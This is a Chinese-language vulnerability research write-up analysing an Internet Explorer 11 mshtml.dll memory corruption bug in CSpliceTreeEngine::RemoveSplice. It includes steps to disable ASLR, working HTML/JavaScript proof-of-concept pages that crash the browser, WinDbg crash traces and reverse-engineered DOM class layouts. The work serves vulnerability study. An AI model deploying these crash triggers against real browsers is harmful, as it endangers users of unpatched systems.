Windows 10 x64版本内置32位和64位两个版本的Internet Explorer，分别在“C:\Program Files
(x86)\Internet Explorer”和“C:\Program Files\internet
explorer”两个文件夹下。但是相应架构的Internet
Explorer的Trident渲染引擎(mshtml.dll)位于“C:\Windows\SysWOW64\mshtml.dll”和“C:\Windows\System32\mshtml.dll”。64位操作系统能够独立运行32位和64位版本软件，“Program
Files (x86)”和“SysWOW64”存放32位软件的软件模块，“Program
Files”和“System32”存放64位软件的软件模块。32位软件并不能在64位系统中直接运行，所以微软设计了WoW64(Windows-on-Windows
64-bit)，通过Wow64.dll、Wow64win.dll、Wow64cpu.dll三个dll文件进行32位和64位系统的切换来运行32位软件。
本次分析，我使用的是32位Internet
Explorer的Trident渲染引擎(mshtml.dll)，也就是“C:\Windows\SysWOW64\mshtml.dll”。
### 3.2 关闭ASLR
关闭了ASLR后，可以更方便的进行调试，dll模块的加载基址不会在每次调试时发生改变，造成调试障碍。Windows10是通过Windows
Defender来关闭Windows缓解措施的。打开Windows Defender后，选择“应用和浏览器控制”，然后找到“Exploit
Protection”，选择“Exploit Protection
设置”。注意：设置界面拥有两个选项卡，“系统设置”和“程序设置”。我们先看“系统设置”，与ASLR有关系的是“强制映像随机化(强制性ASLR)”、“随机化内存分配(自下而上ASLR)”、“高熵ASLR”，我们都将其设为关闭状态。先关闭“高熵ASLR”，然后再关闭其他两项。
“强制映像随机化(强制性ASLR)”，不管编译时是否使用“/DYNAMICBASE”编译选项进行编译，开启了“强制性ASLR”后，会对所有软件模块的加载基址进行随机化，包括未使用“/DYNAMICBASE”编译选项编译的软件模块。关于编译时是否使用了“/DYNAMICBASE”编译选项进行编译，可以使用“Detect
It Easy”查看PE文件的“IMAGE_NT_HEADERS -> IMAGE_OPTIONAL_HEADER ->
DllCharacteristics -> IMAGE_DLL_CHARACTERISTICS_DYNAMIC_BASE”标志位是否进行了设置。
“随机化内存分配(自下而上ASLR)”，开启了该选项后，当我们使用malloc()或HeapAlloc()在堆上申请内存时，得到的堆块地址将在一定程度上进行随机化。
“高熵ASLR”，这个选项需要配合“随机化内存分配(自下而上ASLR)”选项使用，开启了该选项后，会在“随机化内存分配(自下而上ASLR)”基础上，更大程度的随机化堆块的分配地址。
接下来，我们来看“程序设置”。由于Windows10可以对单独的应用程序设置缓解措施的开启或关闭，并且替换“系统设置”中的设置，造成关闭了“系统设置”中所有与ASLR相关的缓解措施后，dll模块的加载基址还是在变化。切换到“程序设置”选项卡后，找到iexplore.exe，点击编辑，将所有与ASLR有关的设置的“替代系统设置”的勾去掉。
设置完成后，重启一下操作系统。
这样设置完后，你可能会发现，软件模块的加载基址仍然不是一个确定的值，这时，就需要使用16进制编辑器将PE文件头中的NT Headers->Optional
Header->DllCharacteristics->IMAGE_DLL_CHARACTERISTICS_
DYNAMIC_BASE设置为0，用其替换原有的软件模块。这样就彻底关闭了Internet
Explorer的ASLR了。这里推荐使用010Editor，借助它的Templates功能，可以很方便的修改该标志位。
## 4 漏洞复现
我使用的是Google Project Zero的Ivan Fratric提供的PoC。
<!-- 原始PoC -->
<html>
<head>
<script>
var b = document.createElement("html");
b.innerHTML = Array(40370176).toString();
b.innerHTML = "";
</script>
</head>
<body>
</body>
</html>
由于原始PoC过于精简，无法观察到执行效果，对我理解程序的执行流程造成了一定的障碍。所以我尝试了以下几种经过修改的PoC，用于观察执行效果。
<!-- PoC1：测试执行效果 -->
<html>
<head>
<script>
window.onload=function(){
var b = document.createElement("html");
document.body.appendChild(b);
var arr = Array(4);
for (var i=0;i<4;i++){
arr[i] = 'A';
}
b.innerHTML = arr.toString();
}
</script>
</head>
<body>
</body>
</html>
执行效果如下：
我们可以得出以下结论：PoC通过HTML
DOM方法document.createElement()，创建了一个“html”结点(同时创建“head”和“body”结点)，并把新创建的“html”结点添加到原有的“body”结点中。然后，创建了一个Array数组并进行了初始化。最后将该数组转化为字符串，通过HTML
DOM的innerHTML属性，添加到新创建的“html”结点中的“body”结点中。
原始PoC中，并未将创建的Array数组初始化，我们通过Chrome的开发者工具查看未初始化的Array数组转化为字符串后，得到的是什么。这有助于我们后面在调试PoC时，观察字符串所对应的内存数据。
可以看到，初始化后的Array数组转化成字符串后，每个元素是使用“,”分隔的。未初始化的Array数组转化成字符串后，只有一连串的“,”。其个数为Array数组元素个数减1。
<!-- PoC2：测试能否成功造成Crash -->
<html>
<head>
<script>
window.onload=function(){
var b = document.createElement("html");
document.body.appendChild(b);
b.innerHTML = Array(40370176).toString();
b.innerHTML = "";
}
</script>
</head>
<body>
</body>
</html>
经过测试，PoC2也可以成功造成Crash。关于document.createElement()的参数，只有“html”元素可以成功触发Crash，其他标签无法造成Crash(我不确定)。
好了，我们现在开始通过调试复现此漏洞。这里使用的是原始的PoC。首先打开Internet Explorer，拖入PoC，会弹出一个提示框“Internet
Explorer已限制此网页运行脚本或ActiveX控件”，表示现在html中的javascript代码还没有得到执行。这时，我们打开WinDbg，附加到iexplore.exe上，输入g命令运行，然后在Internet
Explorer界面点击提示框中的“允许阻止的内容”(可能需要刷新一下)。然后Internet
Explorer会执行异常，WinDbg会捕获到异常并中断下来。以下是Crash的现场情况：
(211c.80c): Break instruction exception - code 80000003 (first chance)
ntdll!DbgBreakPoint:
00007ffd`64a43150 cc int 3
0:015> g
ModLoad: 00000000`70a90000 00000000`70aaf000 C:\Windows\SysWOW64\WLDP.DLL
ModLoad: 00000000`771f0000 00000000`77235000 C:\Windows\SysWOW64\WINTRUST.dll
Invalid parameter passed to C runtime function.
(211c.2320): Access violation - code c0000005 (first chance) <---- 内存访问违例
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
MSHTML!CSpliceTreeEngine::RemoveSplice+0x4e9:
63a46809 66893c50 mov word ptr [eax+edx*2],di ds:002b:26e1a024=????
0:004:x86> r
eax=2211a020 ebx=0504cb38 ecx=04915644 edx=02680002 esi=0504ca08 edi=0000fdef
eip=63a46809 esp=0504c7a8 ebp=0504c9f0 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010202
MSHTML!CSpliceTreeEngine::RemoveSplice+0x4e9:
63a46809 66893c50 mov word ptr [eax+edx*2],di ds:002b:26e1a024=????
0:004:x86> !address 26e1a024
Usage: Free
Base Address: 00000000`22e1c000
End Address: 00000000`63580000
Region Size: 00000000`40764000 ( 1.007 GB)
State: 00010000 MEM_FREE
Protect: 00000001 PAGE_NOACCESS <---- 不可访问
Type: <info not present at the target>
Content source: 0 (invalid), length: 3c765fdc
0:004:x86> k
# ChildEBP RetAddr
00 0504c9f0 63a44fe6 MSHTML!CSpliceTreeEngine::RemoveSplice+0x4e9
01 0504cb1c 63b91ff9 MSHTML!Tree::TreeWriter::SpliceTreeInternal+0x8d
02 0504cbf8 63bca8e3 MSHTML!CDoc::CutCopyMove+0x148759
03 0504cc2c 63a80d38 MSHTML!RemoveWithBreakOnEmpty+0x1499bd
04 0504cd7c 63a80a5d MSHTML!InjectHtmlStream+0x29b
05 0504cdc0 63a81a2f MSHTML!HandleHTMLInjection+0x86
06 0504ceb8 63a816a2 MSHTML!CElement::InjectInternal+0x2c9
07 0504cf2c 63a815ba MSHTML!CElement::InjectTextOrHTML+0xdf
08 0504cf58 63a8153c MSHTML!CElement::Var_set_innerHTML+0x51
09 0504cf80 6dd74dae MSHTML!CFastDOM::CHTMLElement::Trampoline_Set_innerHTML+0x3c
0a 0504cfec 6dcfed4e JSCRIPT9!Js::JavascriptExternalFunction::ExternalFunctionThunk+0x1de
0b 0504d018 6dcfec9d JSCRIPT9!<lambda_58b9ba9eeb8f97b5e624add39c5039e7>::operator()+0xa0
0c 0504d044 6dcfec21 JSCRIPT9!ThreadContext::ExecuteImplicitCall<<lambda_58b9ba9eeb8f97b5e624add39c5039e7> >+0x73
0d 0504d090 6dc6583c JSCRIPT9!Js::JavascriptOperators::CallSetter+0x4b
0e 0504d0b0 6dc65527 JSCRIPT9!Js::InlineCache::TrySetProperty<1,1,1,1,0>+0x10c
0f 0504d104 6dd6eb85 JSCRIPT9!Js::InterpreterStackFrame::DoProfiledSetProperty<Js::OpLayoutElementCP_OneByte const >+0x97
10 0504d11c 6dccf89b JSCRIPT9!Js::InterpreterStackFrame::OP_ProfiledSetProperty<Js::OpLayoutElementCP_OneByte const >+0x19
11 0504d158 6dcc5208 JSCRIPT9!Js::InterpreterStackFrame::Process+0x1b6b
12 0504d284 007f0fe9 JSCRIPT9!Js::InterpreterStackFrame::InterpreterThunk<1>+0x2a8
WARNING: Frame IP not in any known module. Following frames may be wrong.
13 0504d290 6dd73bb3 0x7f0fe9
14 0504d2d0 6dcfeb62 JSCRIPT9!Js::JavascriptFunction::CallFunction<1>+0x93
通过观察WinDbg的输出信息，可以发现PoC造成了异常代码为0xc0000005的内存访问违例异常。0x63a46809处的异常代码向一个内存访问权限为PAGE_NOACCESS(不可访问)的地址写入一个值，从而造成Crash。通过k命令打印栈回溯，可以知道发生异常的代码位于MSHTML!CSpliceTreeEngine::RemoveSplice()函数中。
## 5 Internet Explorer DOM树的结构
当如今的Web开发者想到DOM树时，他们通常会想到这样的一个树：
这样的树看起来非常的简单，然而，现实是Internet Explorer的DOM树的实现是相当复杂的。
简单地说，Internet
Explorer的DOM树是为了20世纪90年代的网页设计的。当时设计原始的数据结构时，网页主要是作为一个文档查看器(顶多包含几个动态的GIF图片和其他的静态图片)。因此，算法和数据结构更类似于为Microsoft
Word等文档查看器提供支持的算法和数据结构。回想一下网页发展的早期，JavaScript还没有出现，并不能通过编写脚本操作网页内容，因此我们所了解的DOM树并不存在。文本是组成网页的主要内容，DOM树的内部结构是围绕快速、高效的文本存储和操作而设计的。内容编辑(WYSIWYG：What
You See Is What You Get)和以编辑光标为中心用于字符插入和有限的格式化的操作范式是当时网页开发的特点。
### 5.1 以文本为中心的设计
由于其以文本为中心的设计，DOM的原始结构是为了文本后备存储，这是一个复杂的文本数组系统，可以在最少或没有内存分配的情况下有效地拆分和连接文本。后备存储将文本(Text)和标签(Tag)表示为线性结构，可通过全局索引或字符位置(CP：Character
Position)进行寻址。在给定的CP处插入文本非常高效，复制/粘贴一系列的文本由高效的“splice(拼接)”操作集中处理。下图直观地说明了如何将包含“hello
world”的简单标记加载到文本后备存储中，以及如何为每个字符和标签分配CP。
文本后备存储为非文本实体(例如：标签和插入点)提供特殊的占位符。
为了存储非文本数据(例如：格式化和分组信息)，另一组对象与后备存储分开进行维护：表示树位置的双向链表(TreePos对象)。TreePos对象在语义上等同于HTML源代码标记中的标签——每个逻辑元素都由一个开始和结束的TreePos表示。这种线性结构使得在深度优先前序遍历(几乎每个DOM搜索API和CSS/Layout算法都需要)DOM树时，可以很快的遍历整个DOM树。后来，微软扩展了TreePos对象以包括另外两种“位置”：TreeDataPos(用于指示文本的占位符)和PointerPos(用于指示诸如脱字符(“^大写字符”:用于表示不可打印的控制字符)、范围边界点之类的东西，并最终用于新特性，如：生成的内容结点)。
每个TreePos对象还包括一个CP对象，它充当标签的全局序数索引(对于遗留的document.all
API之类的东西很有用)。从TreePos进入文本后备存储时需要用到CP，它可以使结点顺序的比较变得容易，甚至可以通过减去CP索引来得到文本的长度。
为了将它们联系在一起，一个TreeNode将成对的TreePos绑定在一起，并建立了JavaScript DOM所期望的“树”层次结构，如下图所示:
### 5.2 增加复杂性层次结构
CP的设计造成了原有的DOM非常复杂。为了使整个系统正常工作，CP必须是最新的。因此，每次DOM操作(例如：输入文本、复制/粘贴、DOM
API操作，甚至点击页面——这会在DOM中设置插入点)后都会更新CP。最初，DOM操作主要由HTML解析器或用户操作驱动，所以CP始终保持最新的模型是完全合理的。但是随着JavaScript和DHTML的兴起，这些操作变得越来越普遍和频繁。
为了保持原来的更新速度，DOM添加了新的结构以提高更新的效率，并且伸展树(SplayTree)也随之产生，伸展树是在TreePos对象上添加了一系列重叠的树连接。起初，增加的复杂性提高了DOM的性能，可以用O(log
n)速度实现全局CP更新。然而，伸展树实际上仅针对重复的局部搜索进行了优化(例如：针对以DOM树中某个位置为中心的更改)，并没有证明对JavaScript及其更多的随机访问模式具有同样的效果。
另一个设计现象是，前面提到的处理复制/粘贴的“Splice(拼接)”操作被扩展到处理所有的树突变。核心“Splice
Engine(拼接引擎)”分三步工作，如下图所示:
在步骤1中，引擎将通过从操作开始到结束遍历树的位置(TreePos)来“记录”拼接信息。然后创建一个拼接记录，其中包含此操作的命令指令(在浏览器的还原栈(Undo
Stack)中重用的结构)。
在步骤2中，从树中删除与操作关联的所有结点(即TreeNode和TreePos对象)。请注意，在IE
DOM树中，TreeNode/TreePos对象与脚本引用的Element对象不同，TreeNode/TreePos对象可以使标签重叠更容易，所以删除它们并不是一个功能性问题。
最后，在步骤3中，拼接记录用于在目标位置“Replay(重现)”(重新创建)新对象。例如，为了完成appendChild DOM操作，拼接引擎(Splice
Engine)在结点周围创建了一个范围(从TreeNode的起始TreePos到其结束TreePos)，将此范围“拼接”到旧位置之外，并创建新结点来表示新位置处的结点及其子结点。可以想象，除了算法效率低下之外，这还造成了大量内存分配混乱。
### 5.3 原来的DOM没有经过封装
这些只是Internet Explorer
DOM复杂性的几个示例。更糟糕的是，原来的DOM没有经过封装，因此从Parser一直到Display系统的代码都对CP/TreePos具有依赖性，这需要许多年的开发时间来解决。
复杂性很容易带来错误，DOM代码库的复杂性对于软件的可靠性是一种负担。根据内部调查，从IE7到IE11，大约28%的IE可靠性错误源自核心DOM组件中的代码。而且这种复杂性也直接削弱了IE的灵活性，每个新的HTML5功能的实现成本都变得更高，因为将新理念实现到现有架构中变得更加困难。
## 6 漏洞原理分析
### 6.1 逆向mshtml.dll中此漏洞的相关类
逆向主要是通过微软提供的pdb文件，以及先前泄露的IE5.5源码完成的。
#### 6.1.1 CSpliceTreeEngine
实际为SpliceTree工作的类，也就是上面所说的拼接引擎(Splice
Engine)的核心类。SpliceTree可以对树的某个范围进行移除(Remove)、复制(Copy)、移动(Move)或还原移除(Undo a
Remove)。当DOM树发生变化时就会调用到此类的相关函数。
以下是IE源代码中的关于此类功能的一些注释：
`移除(Remove)：`
1、此SpliceTree的行为是移除指定范围内的所有文本(Text)，以及完全落入该范围内的所有元素(Element)。
2、语义是这样的，如果一个元素不完全在一个范围内，它的结束标签(End-Tags)将不会相对于其他元素进行移动。但是，可能需要减少该元素的结点数。发生这种情况时，结点将从右边界(Right Edge)移除。
3、范围内的不具有cling的指针(CTreeDataPos)最终会出现在开始标签(Begin-Tags)和结束标签(End-Tags)之间的空间中(可以说，它们应该放在开始标签和结束标签之间)。带有cling的指针会被删除。
`复制(Copy)：`
1、复制指定范围内的所有文本(Text)，以及完全落在该范围内的元素(Element)。
2、与左侧范围重叠的元素被复制；开始边界(Begin-Edges)隐含在范围的最开始处，其顺序与开始边界在源中出现的顺序相同。
3、与右侧范围重叠的元素被复制；结束边界(End-Edges)隐含在范围的最末端，其顺序与结束边界在源中出现的顺序相同。
`移动(Move)：`
1、指定范围内的所有文本(Text)，以及完全落入该范围内的元素(Element)，都被移动(移除并插入到新位置，而不是复制)。
2、使用与移除(Remove)相同的规则修改与右侧或左侧重叠的元素，然后使用与复制(Copy)相同的规则将其复制到新位置。
`还原移除(Undo a Remove)：`
1、这种对SpliceTree的操作只能从还原代码(Undo
Code)中调用。本质上，它是由先前移除(Remove)中保存的数据驱动的移动(Move)。更复杂的是，我们必须将保存的数据编织到已经存在的树中。
下面是我经过逆向得出的IE11中CSpliceTreeEngine类对象的大部分成员。
//CSpliceTreeEngine类对象结构(大小为0x110，Tree::TreeWriter::SpliceTreeInternal())
+0x000 bool _fInsert，//CSpliceTreeEngine::Init()
+0x001 bool _fRemove，//CSpliceTreeEngine::Init()
+0x002 bool _fDOMOperation，//CSpliceTreeEngine::Init()
+0x003 //CSpliceTreeEngine::Init()，一个Flag
+0x004 //CSpliceTreeEngine::Init()，一个Flag
+0x005 //CSpliceTreeEngine::Init()，一个Flag
+0x006 //CSpliceTreeEngine::Init()，一个Flag
+0x007 //CSpliceTreeEngine::Init()，一个Flag
+0x008 //CSpliceTreeEngine::Init()，一个Flag
...
+0x00C CMarkup *_pMarkupSource，//CSpliceTreeEngine::Init()
+0x010 CTreeNode *_pnodeSourceTop，//CSpliceTreeEngine::RecordSplice()
+0x014 CTreePos *_ptpSourceL，//CSpliceTreeEngine::Init()
+0x018 CTreePos *_ptpSourceR，//CSpliceTreeEngine::Init()
+0x01C CTreeNode *_pnodeSourceL，//CSpliceTreeEngine::RecordSplice()
+0x020 CTreeNode *_pnodeSourceR，//CSpliceTreeEngine::RecordSplice()
+0x024 CMarkup *_pMarkupTarget，//CSpliceTreeEngine::RecordBeginElement()
+0x028 CTreePos * _ptpTarget，//CSpliceTreeEngine::Init()
+0x02C CTreeNode *_pnodeTarget，//CSpliceTreeEngine::Init()
+0x030 TCHAR* _pchRecord，//CSpliceTreeEngine::InitUndoRemove()
+0x034 LONG _cchRecord，//CSpliceTreeEngine::InitUndoRemove()
+0x038 LONG _cchRecordAlloc，//CSpliceTreeEngine::RecordText()
+0x03C CSpliceRecord *_prec，//CSpliceTreeEngine::NextRecord()
+0x040 LONG _crec，//CSpliceTreeEngine::NextRecord()
+0x044 WhichAry _cAry，//CSpliceTreeEngine::NextRecord()
+0x048 BOOL _fReversed，//CSpliceTreeEngine::FirstRecord()
+0x04C CSpliceRecordList* _paryRemoveUndo，//CSpliceTreeEngine::InitUndoRemove()
+0x050 BOOL _fNoFreeRecord，//CSpliceTreeEngine::InitUndoRemove()
+0x054 BOOL Flags，//CSpliceTreeEngine::RecordBeginElement()，Flag，_fNoFreeRecord=0x4
+0x058 CSpliceRecordList* ，//CSpliceTreeEngine::Init()，CSpliceTreeEngine::RecordBeginElement()，CSpliceTreeEngine::~CSpliceTreeEngine()
+0x05C ，//CSpliceTreeEngine::RemoveSplice()，CSpliceTreeEngine::~CSpliceTreeEngine()，存放Text的内存指针
+0x060 CElement **_ppelRight，//CSpliceTreeEngine::RecordBeginElement()
...
+0x070 CSpliceRecordList _aryLeft，//CSpliceTreeEngine::RecordLeftBeginElement()，CSpliceTreeEngine::FirstRecord()，CSpliceTreeEngine::NextRecord()，非指针
+0x080 CSpliceRecordList _aryInside，//CSpliceTreeEngine::RecordBeginElement()，CSpliceTreeEngine::RecordEndElement()，CSpliceTreeEngine::RecordTextPos()，CSpliceTreeEngine::RecordPointer()，CSpliceTreeEngine::NextRecord()，非指针
+0x090 CPtrAry<CElement*> _aryElementRight，//CSpliceTreeEngine::CSpliceTreeEngine()，CSpliceTreeEngine::~CSpliceTreeEngine，CSpliceTreeEngine::NoteRightElement()，非指针
+0x09C CPtrAry<CElement*> ，//CSpliceTreeEngine::~CSpliceTreeEngine()，CSpliceTreeEngine::RecordSkippedPointer()，非指针
+0x0A8 CRemoveSpliceUndo _RemoveUndo，//CSpliceTreeEngine::CSpliceTreeEngine()，非指针
+0x0E4 CInsertSpliceUndo _InsertUndo，//CSpliceTreeEngine::CSpliceTreeEngine()，非指针
下面是我经过逆向得出的IE11中CSpliceTreeEngine类的构造函数。
void __thiscall CSpliceTreeEngine::CSpliceTreeEngine(CSpliceTreeEngine *this, CDoc *pDoc)
{
CSpliceRecordList *aryInside; // ecx
CRemoveSpliceUndo *pRemoveSpliceUndo; // ecx
CSpliceRecordList *v5; // edx
CInsertSpliceUndo *pInsertSpliceUndo; // ecx
int InitValue; // edx
// public: __thiscall CSpliceTreeEngine::CSpliceTreeEngine(class CDoc *)
// 功能：CSpliceTreeEngine类的构造函数
this->_aryLeft.ElementCount_Flags = 0;
this->_aryLeft.MaxElementCount = 0;
this->_aryLeft.pData = 0;
aryInside = &this->_aryInside;
aryInside->ElementCount_Flags = 0;
aryInside->MaxElementCount = 0;
aryInside->pData = 0;
this->_aryLeft.field_C = 1;
this->_aryLeft.field_D &= 0xFEu;
aryInside->field_D &= 0xFEu;
aryInside->field_C = 1;
memset(&this->_aryElementRight, 0, 0x18u);
CMarkupUndoBase::CMarkupUndoBase(&this->_RemoveUndo, pDoc, 0, 0);
pRemoveSpliceUndo->pVtbl = &CRemoveSpliceUndo::`vftable';
pRemoveSpliceUndo->field_28 = v5; // 0
pRemoveSpliceUndo->field_30 = v5;
CMarkupUndoBase::CMarkupUndoBase(&this->_InsertUndo, pDoc, v5, v5);
pInsertSpliceUndo->pVtbl = &CInsertSpliceUndo::`vftable';
memset(this, InitValue, 0x70u);
}
#### 6.1.2 CTreeNode
html代码中，每一对标签在IE中都会对应一个CTreeNode对象，每个CTreeNode对象的_tpBegin和_tpEnd成员分别用来标识对应标签的起始标签和结束标签。IE11中CTreeNode对象的第三个DWORD的低12位为标签的类型，通过IE5.5源代码中的enum
ELEMENT_TAG枚举变量和pdb文件中全局g_atagdesc表，可以得出当前版本mshtml.dll渲染引擎中大部分标签对应的枚举值。
下面是我经过逆向得出的IE11中CTreeNode类对象的部分成员。
//CTreeNode类对象结构(大小为0x60，Tree::TreeWriter::CreateRootNode()，Tree::TreeWriter::CreateElementNode())
+0x000 CElement* _pElement，//此Node对应的元素对象的指针，CTreeNode::SetElement()，CTreeNode::CTreeNode()
+0x004 CTreeNode* _pNodeParent，//CTreeNode树中此Node的父Node，CTreeNode::CTreeNode()
+0x008 DWORD _FlagsAndEtag，//元素对象对应的标签的类型，低12位为_etag，CTreeNode::SetElement()，CTreeNode::Parent()
+0x00C CTreePos _tpBegin, //此结点的起始CTreePos，CTreeNode::InitBeginPos()
+0x024 CTreePos _tpEnd, //此结点的结束CTreePos，CTreeNode::InitEndPos()
+0x03C SHORT _iCF，//CTreeNode::IsCharFormatValid()，CTreeNode::GetICF()，CTreeNode::GetCharFormatHelper()，CTreeNode::IsDisplayNone()
+0x03E SHORT _iPF，//CTreeNode::IsParaFormatValid()，CTreeNode::GetIPF()
+0x040 SHORT _iFF，//CTreeNode::IsFancyFormatValid()，CTreeNode::GetIFF()
+0x042 SHORT _iSF，//CTreeNode::IsSvgFormatValid()，CTreeNode::GetISF()
+0x044 DWORD _ulRefs_Flags，//高16位为引用计数，为0就会被释放（dword），CTreePos::AddRef()，CTreeNode::Release()，CTreeNode::CTreeNode()，CTreeNode::GetTextScaledCharFormat()
+0x048 //CTreeNode::GetLayoutAssociationItemAt()
...
+0x054 CFancyFormat* _pFancyFormat，//CTreeNode::CTreeNode()
+0x058 //CTreeNode::GetCharFormat()，CTreeNode::GetFancyFormat()，CTreeNode::GetSvgFormat()，CTreeNode::GetParaFormat()，CTreeNode::IsDisplayNone()
...
#### 6.1.3 CTreePos
每个标签的开始标签和结束标签都有一个对应的CTreePos对象，其包含在CTreeNode对象中。通过CTreePos对象可以找到任何一个标签在DOM流中的位置，以及在DOM树中的位置。IE通过CTreePos对象的_pFirstChild和_pNext成员构成了实际的DOM树，通过_pLeft和_pRight成员构成了DOM流(双链表)。
下面枚举变量EType是CTreePos对象所对应的元素的类型。
enum EType {
Uninit=0x0, //结点未初始化
NodeBeg=0x1, //对应的结点为开始标签结点
NodeEnd=0x2, //对应的结点为结束标签结点
Text=0x4, //对应的结点保存的数据是文本
Pointer=0x8 //对应的结点保存的数据是指针，实现一个IMarkupPointer
};
下面枚举变量是某一个CTreePos对象在DOM树中与相连的CTreePos对象的关系，以及CTreePos对象的类型。
// Tree Position Flags
enum {
TPF_ETYPE_MASK = 0x0F,
TPF_LEFT_CHILD = 0x10,
TPF_LAST_CHILD = 0x20,
TPF_EDGE = 0x40,
TPF_DATA2_POS = 0x40,
TPF_DATA_POS = 0x80,
TPF_FLAGS_MASK = 0xFF,
TPF_FLAGS_SHIFT = 8
};
下面是我经过逆向得出的IE11中CTreePos类对象的完整成员。
//CTreePos类对象结构(大小为0x18，CTreeNode::InitBeginPos()、CTreeNode::InitEndPos())
+0x000 DWORD _cElemLeftAndFlags， //我的左子树中元素的个数，低9位为Flag，CTreePos::IsNode()
+0x004 DWORD _cchLeft， //我的左子树结构字段中的字符数(维护伸展树(Splay Tree))，CTreePos::GetCpAndMarkup()
+0x008 CTreePos* _pFirstChild， //我的第一个孩子结点(有可能是左，也有可能是右)，CTreePos::LeftChild()
+0x00C CTreePos* _pNext， //我的右兄弟或者父亲结点，CTreePos::RightChild()，CTreePos::Parent()
+0x010 CTreePos* _pLeft， //在DOM流中,我左边的CTreePos，CTreePos::PreviousNonPtrTreePos()
+0x014 CTreePos* _pRight， //在DOM流中,我右边的CTreePos，CTreePos::NextNonPtrTreePos()
CTreeNode::InitBeginPos()函数用于初始化起始标签对应的CTreePos对象。
CTreePos *__thiscall CTreeNode::InitBeginPos(CTreeNode *this, BOOL fEdge)
{
CTreePos *_tpBegin; // eax
// public: class CTreePos * __thiscall CTreeNode::InitBeginPos(int)
_tpBegin = &this->_tpBegin;
// (_tpBegin.GetFlags()&~(CTreePos::TPF_ETYPE_MASK|CTreePos::TPF_DATA_POS|CTreePos::TPF_EDGE)) | BOOLFLAG(fEdge, CTreePos::TPF_EDGE) | CTreePos::NodeBeg
this->_tpBegin._cElemLeftAndFlags = this->_tpBegin._cElemLeftAndFlags & 0xFFFFFF31 | (fEdge ? 0x41 : 1);// TPF_EDGE = 0x40,NodeBeg=0x1
return _tpBegin;
}
CTreeNode::InitEndPos()函数用于初始化结束标签对应的CTreePos对象。
CTreePos *__thiscall CTreeNode::InitEndPos(CTreeNode *this, BOOL fEdge)
{
CTreePos *_tpEnd; // eax
// public: class CTreePos * __thiscall CTreeNode::InitEndPos(int)
_tpEnd = &this->_tpEnd;
// (_tpEnd.GetFlags()&~(CTreePos::TPF_ETYPE_MASK|CTreePos::TPF_DATA_POS|CTreePos::TPF_EDGE)) | BOOLFLAG(fEdge, CTreePos::TPF_EDGE) | CTreePos::NodeEnd
this->_tpEnd._cElemLeftAndFlags = this->_tpEnd._cElemLeftAndFlags & 0xFFFFFF32 | (fEdge ? 0x42 : 2);
return _tpEnd;
}
CTreePos::GetCch()函数用于获取当前CTreePos对象对应的元素所占用的字符数量。起始标签和结束标签对应的字符数量为1，文本字符串为实际拥有的字符数，指针数据字符数的获取在CTreePos::GetContentCch()中(为0或1)。前面介绍DOM流结构时，在“以文本为中心的设计”中有提到过。
LONG __thiscall CTreePos::GetCch(CTreeDataPos *this)
{
DWORD cElemLeftAndFlags; // eax
// public: long __thiscall CTreePos::GetCch(void)const
// 功能：获取当前结点的字符数,标签结点字符数为1,文本数据按实际字符数获取,指针数据字符数的获取在CTreePos::GetContentCch()中(为0或1)
cElemLeftAndFlags = this->_cElemLeftAndFlags;
// BOOL IsNode() const { return TestFlag(NodeBeg|NodeEnd); }
// BOOL IsText() const { return TestFlag(Text); }
// long CTreePos::Cch() const { return DataThis()->t._cch; }
// long GetCch() const { return IsNode()?1:IsText()?Cch():0; }
if ( (this->_cElemLeftAndFlags & 3) != 0 ) // NodeBeg=0x1,NodeEnd=0x2
// 当前结点为标签结点,标签结点字符数为1
return (cElemLeftAndFlags >> 6) & 1; // TPF_EDGE = 0x40
// 当前结点不是标签结点
if ( (cElemLeftAndFlags & 4) != 0 ) // Text=0x4,IsText()?Cch():0
// 当前结点是文本数据
return this->dptp.t._sid_cch & 0x1FFFFFF; // 低25位为_cch,this->dptp->t->_cch,Cch()
return 0;
}
#### 6.1.4 CTreeDataPos
CTreeDataPos继承于CTreePos。CTreeDataPos类为CTreePos类的扩展，用于表示文本数据和指针数据。此漏洞所涉及到的关键类，就是该类。
class CTreeDataPos : public CTreePos
{
...
protected:
union
{
DATAPOSTEXT t;
DATAPOSPOINTER p;
};
...
}
struct DATAPOSTEXT
{
unsigned long _cch:25; // [Text] 拥有的字符数，CTreePos::ContentCch()
unsigned long _sid:7; // [Text] 此运行的脚本id
// 这个成员只有在TPF_DATA2_POS标志被打开时才有效，否则，假设lTextID为0。
long _lTextID; // [Text] DOM文本节点的文本ID
};
struct DATAPOSPOINTER
{
// [Pointer] my CMarkupPointer and Gravity
// Gravity:1，Cling:2，
DWORD_PTR _dwPointerAndGravityAndCling;
};
下面是我经过逆向得出的IE11中CTreeDataPos类对象的完整成员。
//CTreeDataPos类对象结构
//Tree::TreeWriter::AllocData1Pos()，0x28，DATAPOSPOINTER
//Tree::TreeWriter::AllocData2Pos()，0x2C，DATAPOSTEXT
+0x000 DWORD _cElemLeftAndFlags，//我的左子树中元素的个数，低9位为Flag，CTreePos::IsNode()
+0x004 DWORD _cchLeft，//我的左子树结构字段中的字符数(维护伸展树(Splay Tree))，CTreePos::GetCpAndMarkup()
+0x008 CTreePos* _pFirstChild，//我的第一个孩子结点(有可能是左，也有可能是右)，CTreePos::LeftChild()
+0x00C CTreePos* _pNext，//我的右兄弟或者父亲结点，CTreePos::RightChild()，CTreePos::Parent()
+0x010 CTreePos* _pLeft，//在DOM流中,我左边的CTreePos，CTreePos::PreviousNonPtrTreePos()
+0x014 CTreePos* _pRight，//在DOM流中,我右边的CTreePos，CTreePos::NextNonPtrTreePos()
+0x018 ULONG _ulRefs_Flags，//引用计数，为0就会被释放（dword）,低6位为Flags，CTreePos::AddRef()，CTreePos::IsCData()，CTreePos::IsTextCData()，Tree::TreeWriter::AllocData1Pos()
+0x01C System::SmartObject *pSmartObject，//CTreePos::Release()，CTreeDataPos::SetTextBlock()
+0x020 Tree::TextData *_pTextData，//CTreeDataPos::GetTextLength()，CTreeDataPos::SetTextData()，CTreePos::ContentPch()
+0x024 DATAPOSTEXT t，//CTreePos::ContentCch()，CTreePos::IsCData()，CTreePos::IsTextCData()，CTreePos::IsTextInLayout()，CTreePos::IsMarkedForDeletion()，CTreePos::IncreaseCounts()，CTreePos::DecreaseCounts()
+0x024 DATAPOSPOINTER p，//CTreePos::IsPointerInLayout()，CTreePos::MarkupPointer()
